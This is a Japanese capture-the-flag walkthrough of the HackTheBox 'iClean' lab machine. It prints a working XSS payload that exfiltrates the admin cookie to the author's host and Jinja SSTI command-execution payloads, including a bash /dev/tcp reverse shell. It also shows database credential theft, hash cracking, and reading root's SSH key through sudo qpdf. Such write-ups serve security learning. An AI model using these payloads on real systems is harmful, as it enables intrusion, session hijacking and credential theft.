HackTheBox iClean WriteUp

今回はHackTheBoxのMediumマシン「iClean」のWriteUpです。
名前からはどのようなマシンかわかりませんね。楽しみです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b37f595e-8ae3-f8ab-e4aa-0b78a34eb2d6.png)

グラフはいつものMediumという感じですね。
攻略目指して頑張ります！

HackTheBoxって何？という方は下記の記事を見てみてください！一緒にハッキングしましょう〜！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## iClean

### 列挙

それでは攻略を開始しましょう。
まずは```nmap```でポートスキャンを行います。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ sudo nmap -Pn -sSV -v --min-rate 1000 10.10.11.12

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
```

22番と80番がオープンしています。
80番に対してブラウザからアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d8af0184-44cb-2504-c44f-ffb3fc643090.png)

ハウスクリーニングのサイト？が表示されました。
画面右上には「Login」と書かれたリンクがあるので、押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/49aad9d0-aa0f-c4d9-850d-c51092d27e46.png)

ログイン画面が表示されました。
簡単なSQLインジェクションを試しましたが、特に発火しません。

他に情報がないかサイトを探索していると、気になるボタンを発見しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/4487ed31-c65f-a7a3-ca97-40e99ab22ed2.png)

「Get a quote」と書かかれていることから見積もりを取得できそうです。試しに押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/18394e4b-213b-2fa4-8f0d-7da0c86a3c4d.png)

オプションの選択とメールアドレスを入力できる画面が表示されました。
適当にオプションを選択 + メールアドレスを入力し、「Submit」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/dbff7875-7060-c39d-d783-3df669791f5a.png)

リクエストが送信されました。画面には「見積もりは管理チームが確認します」と書かれています。メールアドレスやオプションを管理チームが確認してくれるのでしょう。

### XSS

ログイン画面 + 管理チームが確認するというメッセージが表示されるということは、XSSによって管理者のクッキーを取得し、なりすましが行えるかもしれません。
まずペイロードを用意します。今回使用したペイロードは以下です。

```html
<img src=x onerror=this.src='http://10.10.14.11/?'+document.cookie;>
```

いつものやつですね。Kali側で起動したサーバにクッキーを送信させる必要があるので、WEBサーバを起動させておきましょう。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ python3 -m http.server 80                 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

これで準備完了です。
見積もりを取得するリクエストには```service```と```email```というパラメータがあるので、どちらの値も上記のペイロードに変更しリクエストを送信しましょう。送信後、しばらくすると...

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ python3 -m http.server 80                 
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.12 - - [03/Sep/2024 16:18:12] "GET /?session=eyJyb2xlIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMifQ.Ztamkg.AvZEbNMvrxhW6KjMzxi7DQzxvs0 HTTP/1.1" 200 -
```

クッキーが送信されてきました！
あとは送信されたクッキーを使用しログイン後のページにアクセスするだけです。パスが分からないので、ディレクトリ探索を行います。

```
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ ffuf -w /usr/share/wordlists/dirb/common.txt -u http://capiclean.htb/FUZZ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

about                   [Status: 200, Size: 5267, Words: 1036, Lines: 130, Duration: 216ms]
dashboard               [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 184ms]
login                   [Status: 200, Size: 2106, Words: 297, Lines: 88, Duration: 184ms]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 195ms]
quote                   [Status: 200, Size: 2237, Words: 98, Lines: 90, Duration: 211ms]
server-status           [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 198ms]
services                [Status: 200, Size: 8592, Words: 2325, Lines: 193, Duration: 221ms]
team                    [Status: 200, Size: 8109, Words: 2068, Lines: 183, Duration: 184ms]
:: Progress: [4614/4614] :: Job [1/1] :: 203 req/sec :: Duration: [0:00:23] :: Errors: 0 ::
```

新たに```dashboard```というディレクトリを発見しました。いかにもログイン後のパスのようなので、クッキーをセットした状態でアクセスしてみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2d53570a-a979-24e3-c5bd-ae5987159048.png)

管理者のダッシュボードが表示されました！クッキーは有効だったようです。

### SSTI

では、侵入を目指してダッシュボード内を調査していきましょう。4つほどリンクが見えます。「Generate Invoice」を押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/c0b5fe62-dd71-5f61-a273-81829acdc02b.png)

名前の通り請求書を生成できる画面が表示されました。適当に値を入力し「Generate」を押下してみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0078907c-975a-ca73-f608-17c9a944d80c.png)

請求書のIDが生成されました。
次に2つ目のリンク「Generate QR」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/b71f7849-c7c4-186b-1cdb-45640474866d.png)

請求書のIDを入力する欄が表示されました。先ほど生成した請求書のIDを入力し、「Generate」を押下してみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2a3d580a-0ff6-2302-5c11-bf1bedfe3765.png)

QRコードのリンクが出力されました。また、QRコードのリンクを入力する欄も表示されたので、たった今出力されたリンクを入力し「submit」を押下します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/12f7cb03-e4aa-3218-05d1-dd14c71d93a4.png)

請求書が表示され、下部にはQRコードが出力されました。
以上が請求書を作成しQRコードを出力するまでの一連の流れです。使用されているパラメータで脆弱性が発火しないか試していると、QRコードを出力する際に使用されている```qr_link```で怪しい挙動を確認しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/fd5ad8f3-f7b3-97d2-d957-b6527086ff35.png)

```qr_link```に```{{7*7}}```を入力したところ、画像のソースで```49```と出力されています。これはSSTIが発火していることを表しているので、悪用することでシェルを取得できそうです。
コマンドが実行できることを確認するために、以下のペイロードを投げます。

```
{{+request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']()+}}
```

```id```コマンドの実行を指示しています。```qr_link```に指定して、リクエストを送信しましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9a1fa629-bb61-2fbb-ca1b-472a6dce5108.png)

コマンドの実行結果が出力されました。

## www-data としてのシェル

正常に実行できることがわかったので、シェルを取得しましょう。
まずは待ち受けを開始します。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ nc -lnvp 2121
listening on [any] 2121 ...
```

次にペイロードを用意します。今回は以下のペイロードでシェルを取得します。

```
{{+request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.11/2121+0>%261"')['read']()+}}
```

用意が出来たら```qr_link```に指定し、リクエストを送信しましょう。
送信後、待ち受けを確認すると...

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ nc -lnvp 2121
listening on [any] 2121 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.12] 41440
bash: cannot set terminal process group (1210): Inappropriate ioctl for device
bash: no job control in this shell
www-data@iclean:/opt/app$ whoami
www-data
```

シェルを取得できました！

### 水平権限昇格

現在のシェル（```www-data```）ではユーザフラグが読めないので、ここから他のユーザへの移動を狙っていきます。```www-data```から他のユーザへの移動でよくあるパスとしてはWEBの設定ファイルから認証情報を取得できることが多いです。今回も設定ファイルを見てみると...

```bash
www-data@iclean:/opt/app$ cat app.py
from flask import Flask, render_template, request, jsonify, make_response, session, redirect, url_for
from flask import render_template_string
...
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': 'pxCsmnGLckUb',
    'database': 'capiclean'
}
...
```

```app.py```にDBの認証情報が保存されていました。
認証情報を使用して、DBにアクセスできるか試してみましょう。

```bash
www-data@iclean:/opt/app$ mysql -u iclean -p
mysql -u iclean -p
Enter password: pxCsmnGLckUb
mysql> 
```

認証に成功し、DBへアクセスできました！

### Hash Crack

それでは、DBを列挙していきましょう。```app.py```の情報からデータベース名は```capiclean```であることが分かっているので、```use```で指定します。

```bash
mysql> use capiclean
```

次にテーブルを列挙します。

```bash
mysql> show tables;
show tables;
+---------------------+
| Tables_in_capiclean |
+---------------------+
| quote_requests      |
| services            |
| users               |
+---------------------+
3 rows in set (0.00 sec)
```

3つのテーブルが出力されました。
一番怪しいのは```users```ですね。内容を見てみましょう。

```bash
mysql> select * from users;
select * from users;
+----+----------+------------------------------------------------------------------+----------------------------------+
| id | username | password                                                         | role_id                          |
+----+----------+------------------------------------------------------------------+----------------------------------+
|  1 | admin    | 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 | 21232f297a57a5a743894a0e4a801fc3 |
|  2 | consuela | 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa | ee11cbb19052e40b07aac0ca060c23ee |
+----+----------+------------------------------------------------------------------+----------------------------------+
2 rows in set (0.00 sec)
```

```admin```と```consuela```というユーザのハッシュ化されたパスワードを確認できました！
```home```ディレクトリを見ると、```consuela```というユーザが存在するため、解読のターゲットとなるのは```consuela```のハッシュだと予想が付きます。

```bash
www-data@iclean:/home$ ls -l
total 4
drwxr-x--- 4 consuela consuela 4096 Mar  2  2024 consuela
```

では、解読を行いましょう！と行きたいところですが、解読するためにハッシュタイプを確認しておきます。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ hashcat --identify hash.txt                               
The following 8 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1400 | SHA2-256                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
```

SHA-256が使用されていそうです。
タイプには「1400」を指定し、```hashcat```を実行しましょう。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ hashcat -m 1400 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
```

ハッシュが解読できました！

## consuela としてのシェル

```consuela```のパスワードがわかったので、SSHログインが可能かどうか試してみましょう。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ ssh consuela@10.10.11.12   
consuela@10.10.11.12s password: 
consuela@iclean:~$ whoami
consuela
```

ログインに成功しました！水平権限昇格成功です！

```bash
consuela@iclean:~$ ls -l
total 4
-rw-r----- 1 root consuela 33 Sep  3 06:02 user.txt
```

ユーザフラグも確認することが出来ました。

### 垂直権限昇格

いよいよここから```root```ユーザになるため、権限昇格を目指していきましょう。
まずは、```sudo -l```を実行しておきます。

```bash
consuela@iclean:~$ sudo -l
[sudo] password for consuela: 
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf
```

```qpdf```というコマンドをルート権限で実行できるようです。
どのようなコマンドなのか調べてみると、以下のリンクを発見しました。

https://qpdf.readthedocs.io/en/stable/

サイトによると```qpdf```とは、PDF間でオブジェクトやコンテンツの変換、ファイルの分割、結合が行えるツールのようです。
サイトの「Running qpdf」では、```qpdf```の基本的な実行方法が書かれており、以下のようになっております。

```bash
Usage: qpdf [infile] [options] [outfile]
```

基本的な実行方法では、入力ファイル（```infile```）を指定するようになっていますが、```--empty```を指定して空のPDFファイルを入力として実行することもできるようです。
とりあえず実行してみましょう。

```bash
consuela@iclean:~$ qpdf --empty test
consuela@iclean:~$ ls -l
total 8
-rw-rw-r-- 1 consuela consuela 315 Sep  3 09:31 test
```

```test```というファイルが作成されました。
内容を確認してみると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/56902216-cbd7-46ed-cc47-f4e0fe07d851.png)

空のPDFファイルで実行しているので、当然何も表示されませんでした。

### Misconfigurations（sudo）

```qpdf```を使用した権限昇格について色々と確認しましたが、特に脆弱性は見つかりませんでした。しかし、何もないのに```sudo```を使用可能にしているとは考えにくいので、再度使用方法を確認していると気になるページを発見しました。

https://qpdf.readthedocs.io/en/stable/cli.html#embedded-files-attachments

```qpdf```では、```--add-attachment```というオプションを使用することで、PDFに指定したファイルを添付することが出来るようです。もしもPDF以外のファイルも指定できるのであれば、```root```ユーザのSSH秘密鍵を添付することが出来るかもしれません。試してみましょう。

```bash
consuela@iclean:~$ sudo qpdf --empty root_id_rsa --add-attachment /root/.ssh/id_rsa --
```

実行できたら、PDFファイルを見てみましょう。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a3567b67-5e0e-cf68-cc1b-ce67feb7e42b.png)

こちらも同様に空のPDFから実行しているので、何も含まれていませんが、```Attachments```を確認すると、```id_rsa```が存在していることが分かります。```id_rsa```の内容を見てみると...

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/7835cdfd-f89c-9bbb-fd8d-b674d4396d6d.png)

SSH秘密鍵が出力されました！

## root としてのシェル

それでは、取得したSSH秘密鍵を使用して権限昇格を行いましょう。

```bash
+[~/iclean]
(σ▰>∇<)σ<10.10.14.11>$ ssh -i id_rsa root@10.10.11.12                        
root@iclean:~# whoami
root
```

権限昇格成功です！

```bash
root@iclean:~# ls -l
total 8
-rw-r----- 1 root root   33 Sep  3 06:02 root.txt
drwxr-xr-x 2 root root 4096 Mar  7 12:13 scripts
```

ルートフラグも取得し、無事完全攻略達成です～！

### 攻略を終えて

今回のマシンは攻略していて、とても楽しいマシンでした。難易度自体もいい感じにMediumっぽく割とサクッと攻略できました。
初動はXSSの脆弱性を悪用し、管理者のハッシュを取得することでしたね。今まではHackTheBoxではXSSを悪用することはあまりなかったのですが、最近は増えてきている気がします。権限昇格はqpdfの本来の機能を悪用し、ファイルを読むというパスでした。今回のように知らない機能によって権限昇格につながることもあるので、注意が必要ですね。
今後もHackTheBoxのWriteUpを公開していくので見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！